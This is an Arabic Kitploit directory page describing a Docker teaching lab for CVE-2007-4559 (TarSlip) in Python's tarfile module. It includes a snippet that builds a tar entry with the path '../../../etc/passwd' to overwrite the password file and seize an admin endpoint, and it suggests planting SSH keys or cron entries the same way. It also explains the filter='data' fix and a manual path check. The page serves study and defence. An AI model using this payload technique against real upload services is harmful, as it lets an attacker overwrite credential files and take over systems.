Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2007-4559-lab | Kitploit
أدوات/GitHubGitHub/jithinodattu/cve-2007-4559-lab
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكوداستغلال تطبيقات الويبCTFأمن سلسلة التوريدالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubjithinodattu/cve-2007-4559-lab

CVE-2007-4559-lab

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2007-4559 — TarSlip: اجتياز المسار عبر 15 عامًا

للاستخدام التعليمي فقط. يستغل هذا المختبر عن قصد ثغرات نظام الملفات داخل حاويات Docker معزولة. لا تشغّله على أي نظام يحتوي بيانات حساسة أو في بيئات الإنتاج.

مختبر Docker مستقل بذاته يوضح CVE-2007-4559 — ثغرة «TarSlip» سيئة السمعة في وحدة tarfile الخاصة بلغة Python — عبر سلسلة هجوم ملموسة من البداية إلى النهاية:

  1. يرفع المهاجم أرشيف tar مُصنّعًا بعناية إلى واجهة برمجية لرفع الملفات.
  2. تكتب extractall() بشكل أعمى إدخال tar باسم ../../../etc/passwd خارج مجلد الاستخراج، فتحل محل ملف النظام الحقيقي.
  3. تمنح كلمة المرور المزروعة المهاجم حق الوصول إلى نقطة نهاية /admin المحمية.
  4. يُنفَّذ الهجوم نفسه بعد ذلك ضد واجهة برمجية مصلّحة — ويُحجَب بسطر واحد من الكود.

الثغرة

تعيد tarfile.extractall() في Python إنتاج كل إدخال في أرشيف tar بأمانة، بما في ذلك الإدخالات التي تحتوي أسماؤها على تسلسلات اجتياز المسار ../. لم تُصمم أبدًا لتكون حاجزًا أمنيًا.

root@kitploit:~
tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/

resolved path  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← system file overwritten

ماذا يعرض العرض التوضيحي

يدور العرض في ثلاث مراحل، تتطلب كل مرحلة ضغطة مفتاح للمتابعة.

المرحلة 1 — خط الأساس

  • GET /admin → 401. نقطة نهاية المسؤول موجودة ومحمية. لا يعرف المهاجم كلمة المرور.
  • رفع innocent.tar.gz → الملفات تصل إلى داخل مجلد العزل. كل شيء يبدو طبيعيًا.

المرحلة 2 — الاستغلال

root@kitploit:~
Attacker crafts tarslip_passwd.tar.gz
  └─ entry: "../../../etc/passwd"
       content: admin:hacked:1001:...   ← planted password
            │
            ▼
  POST /upload  (multipart file upload)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  resolves "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "Welcome, admin! You have full admin access."
  flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

طلب HTTP POST واحد. لا قشرة. لا حمولة RCE. مجرد ملف tar.

المرحلة 3 — الإصلاح

يُرفع الأرشيف نفسه إلى الواجهة البرمجية المصلّحة، التي تمرر filter='data' إلى extractall(). تثير Python استثناء tarfile.OutsideDestinationError — يُحجَب الاجتياز، ويبقى /etc/passwd دون مساس، ويظل /admin مقفلًا.

root@kitploit:~
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)

# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

وسيط واحد. خمسة عشر عامًا حتى صدر.


البنية المعمارية

أربع خدمات على شبكة جسر Docker معزولة (tarslip-net). لا يصل أي شيء إلى الإنترنت.

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  port 8000      │      │       port 8080 (host)   │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  Serves /shared over     │  │
│  │  GET  /admin    │      │  HTTP — browse extracts  │  │
│  │  GET  /health   │      │  visually                │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  shared-storage volume     │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (no host port — internal only)     │
│  │                 │                                     │
│  │  craft_malicious.py  — generates tarballs             │
│  │  demo.py             — drives the demo                │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘

تستخدم الواجهتان البرمجيتان الضعيفة والمصلّحة كودًا مصدريًا متطابقًا. الفرق الوحيد هو متغير البيئة USE_SAFE_EXTRACTION=true على الحاوية المصلّحة، وهو ما يقلب وسيط filter='data' الوحيد.


هيكل المستودع

root@kitploit:~
CVE-2007-4559-lab/
├── run_demo.sh                      ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # generates innocent.tar.gz + tarslip_passwd.tar.gz
    ├── demo.py                      # four-mode CLI driver (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

المتطلبات الأساسية

  • Docker 20.10+ ‏مع إضافة Compose (docker compose version)
  • macOS / Linux — يستخدم سكربت الصدفة bash
  • المنفذان 8000 و 8080 متاحان على جهاز المضيف

تشغيل العرض التوضيحي

root@kitploit:~
git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

السكربت تفاعلي بالكامل. يعرض سردًا قبل كل خطوة وينتظر الضغط على Enter للمتابعة. لا حاجة إلى معرفة سابقة بـ Docker لمتابعة العرض.

ماذا تغطي كل نقطة توقف

تشغيل المراحل بشكل منفرد

إذا أردت التنقل خطوة بخطوة يدويًا:

root@kitploit:~
# Vulnerable stack
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# Fixed stack
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# Teardown
docker compose -f docker-compose.fixed.yml down

الفحص البصري

بينما تعمل البيئة الضعيفة، افتح http://localhost:8080/uploads/ لتصفح مجلدات الجلسات المستخرجة في متصفحك.


كيف تعمل نقطة نهاية /admin

تزرع الواجهة البرمجية كلمة مرور سرية للمسؤول داخل /etc/passwd وقت بناء الصورة:

root@kitploit:~
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

يقرأ GET /admin هذا الملف ويتحقق من الحقل الثاني (كلمة المرور) مقابل بيانات اعتماد المصادقة الأساسية HTTP. لا يعرف المهاجم s3cr3t_Adm1nPass — لكن بعد أن تستبدل TarSlip الملف بنسخة المهاجم التي تحتوي admin:hacked، سيعرفها.

هذا نموذج مبسّط لأهداف العالم الحقيقي: ملفات authorized_keys الخاصة بـ SSH، وملفات إعداد التطبيقات، ومهام cron، وأي ملف بيانات اعتماد يمكن لعملية الويب الكتابة إليه.


كيف تُصنع الحمولات

يستخدم craft_malicious.py وحدة tarfile الخاصة بلغة Python نفسها — الوحدة نفسها التي تحمل الثغرة:

root@kitploit:~
def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name is the traversal path
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# Entry name resolves to /etc/passwd when extracted into /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

لا أدوات خاصة. لا استغلال ثنائي. المكتبة القياسية هي السلاح والضحية معًا.


شرح الإصلاح

قدّمت Python 3.12 وسيط filter= ضمن PEP 706. مُرشّح 'data':

  • يرفض الإدخالات التي تُحل خارج مجلد الوجهة
  • يزيل أعلام setuid/setgid
  • يتجاهل ملفات الأجهزة والروابط الصلبة إلى مسارات غير آمنة
  • يثير استثناء tarfile.OutsideDestinationError عند محاولات الاجتياز
root@kitploit:~
# Before (vulnerable — still the default until Python 3.14)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# After (safe)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

بالنسبة إلى Python 3.11 والإصدارات الأقدم، تحقق يدويًا:

root@kitploit:~
import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"Unsafe path: {member.name}")
    tar.extractall(dest)

التحليل الثابت: قاعدة B202 في bandit تعلّم على استدعاءات extractall() غير الآمنة في CI.


التأثير الأوسع — ZipSlip

TarSlip هو الاسم الذي تطلقه Python على فئة من الثغرات موجودة في كل لغة تحتوي واجهات برمجية لاستخراج الأرشيفات:

السبب الجذري نفسه في كل مكان: الثقة بمسارات من أرشيفات غير موثوقة. والإصلاح نفسه في كل مكان: تسوية المسار والتحقق منه قبل الكتابة.


اختلافات الجمهور

جمهور المطورين

ركّز على الفرق بين الكود قبل الإصلاح وبعده وقاعدة bandit ‏B202. الهدف هو: «كيف نمنع هذا في قاعدة أكوادنا؟» — اعرض دليل الترحيل إلى PEP 706 وكيفية إضافة الفحص إلى CI.

الجمهور الأمني

ركّز على منهجية الكشف لدى Trellix — كيف بحثوا في GitHub على نطاق واسع، وقدّروا الأثر عبر 350,000 مستودع، وتنقلوا في الكشف المسؤول عن ثغرة بهذا الانتشار.

جمهور CTF

وسّع craft_malicious.py ليزرع ملف authorized_keys خاصًا بـ SSH أو إدخال cron خبيث بدلًا من /etc/passwd. التقنية نفسها، أهداف مختلفة — يُظهر ذلك أن أي مسار قابل للكتابة هو سطح هجوم.


المراجع

  • NVD — CVE-2007-4559
  • PEP 706 — مرشّح لـ tarfile.extractall
  • Trellix — «15 عامًا لاحقًا: حول أخطار Zip/Tar Slip»
  • متعقب مشكلات Python — bpo-21109 (التقرير الأصلي لعام 2007)
  • Bandit B202
  • إشعار Snyk بشأن ZipSlip

الترخيص

MIT — استخدمه بحرية في التعليم وأبحاث الأمن والعروض في المؤتمرات. لا تستخدم تقنيات توليد الحمولات ضد أنظمة لا تملكها.

تنزيل الأداة
الجدول الزمني
2007الإبلاغ عن الخلل لفريق أمان Python
2007 – 2022تصنيفه «ليست مشكلة أمنية» — tarfile «تعمل كما هو مقصود»
2022باحثو Trellix يفحصون GitHub ويعثرون على أكثر من 350,000 مستودع يستدعي extractall() على مدخلات غير موثوقة
2022كشف علني. عادت CVE-2007-4559 إلى الواجهة. حالة هرج على مستوى الصناعة.
2023PEP 706 يصدر filter='data' في Python 3.12 — الإصلاح هو وسيط واحد
الخدمةالصورةالدورمنفذ المضيف
vulnerable-apipython:3.11.3-slimواجهة رفع Flask + /admin محمية بمصادقة /etc/passwd8000
fixed-apipython:3.12-slimالكود نفسه + USE_SAFE_EXTRACTION=true8000
file-servernginx:alpineعرض قائمة مجلدات الملفات المستخرجة8080
attackerpython:3.12-slimمولّد الحمولات + مُشغّل العرض—
نقطة التوقفالسرد المعروضالإجراء عند الضغط على Enter
1الجدول الزمني لـ CVE، وماهية المراحل الثلاثبناء البيئة الضعيفة
2أدوار الحاويات، كلمة مرور المسؤول المزروعةتوليد الحمولات
3ما بداخل كل أرشيف tarالمرحلة 1 — خط الأساس
4لماذا يُرجع /admin ‏401، وكيف يبدو الاستخراج الطبيعيالمرحلة 2 — الاستغلال
5رياضيات الاجتياز بالضبط، وما الذي يُستبدلالتبديل إلى البيئة المصلّحة
6ماذا يفعل filter='data' ولماذا يعملالمرحلة 3 — التحقق
7الخلاصات الرئيسية + نمط ZipSlip الأوسعإيقاف البيئة
اللغةالواجهة البرمجية الضعيفةCVE / إشعار
Pythontarfile.extractall()CVE-2007-4559
JavaZipInputStreamZipSlip (2018)
Goarchive/zipZipSlip (2018)
.NETZipArchiveZipSlip (2018)
Node.jstar وadm-zip وغيرهاZipSlip (2018)